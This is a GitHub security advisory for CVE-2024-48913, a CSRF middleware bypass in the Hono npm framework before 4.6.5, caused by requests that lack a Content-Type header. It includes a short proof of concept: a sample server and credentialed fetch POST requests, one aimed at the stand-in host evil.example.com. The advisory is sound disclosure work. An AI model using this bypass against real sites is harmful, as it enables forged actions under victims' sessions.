GitHub Advisoryadvisory · npm
GHSA-2234-fmw7-43wr Hono allows bypass of CSRF Middleware by a request without Content-Type header.
MEDIUM
Official page ↗
- Aliases
- CVE-2024-48913
- Ecosystem
- npm
- Packages
- hono
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N
- Weaknesses
- CWE-352
- Reviewed
- 2024-10-15
Affected packages
• npm hono: < 4.6.5 → fixed in 4.6.5
Description
Summary
Bypass CSRF Middleware by a request without Content-Type herader.
Details
Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.
https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89
PoC
```server.js
// server.js
import { Hono } from 'hono'
import { csrf }from 'hono/csrf'
const app = new Hono()
app.use(csrf())
app.get('/', (c) => {
return c.html('Hello Hono!')
})
app.post('/', async (c) => {
console.log("executed")
return c.text( await c.req.text())
})
Deno.serve(app.fetch)
```
```poc.html
async function myclick() {
await fetch("http://evil.example.com", {
method: "POST",
credentials: "include",
body:new Blob([`test`],{}),
});
}
```
Similarly, the fetch API does not add a Content-Type header for requests that do not include a Body.
```PoC2.js
await fetch("http://localhost:8000", { method: "POST", credentials: "include"});
```
Impact
Bypass csrf protection implemented with hono csrf middleware.
Related
Alias · CVE (1)
- CVE-2024-48913 Hono, a web framework, prior to version 4.6.5 is vulnerable to bypass of cross-site request forgery (CSRF) middleware by a request without… vulnerability
Weakness · CWE (1)
- CWE-352 Cross-Site Request Forgery weakness
References
- https://github.com/honojs/hono/security/advisories/GHSA-2234-fmw7-43wr web
- https://nvd.nist.gov/vuln/detail/CVE-2024-48913 advisory
- https://github.com/honojs/hono/commit/aa50e0ab77b5af8c53c50fe3b271892f8eeeea82 web
- https://github.com/honojs/hono package
- https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89 web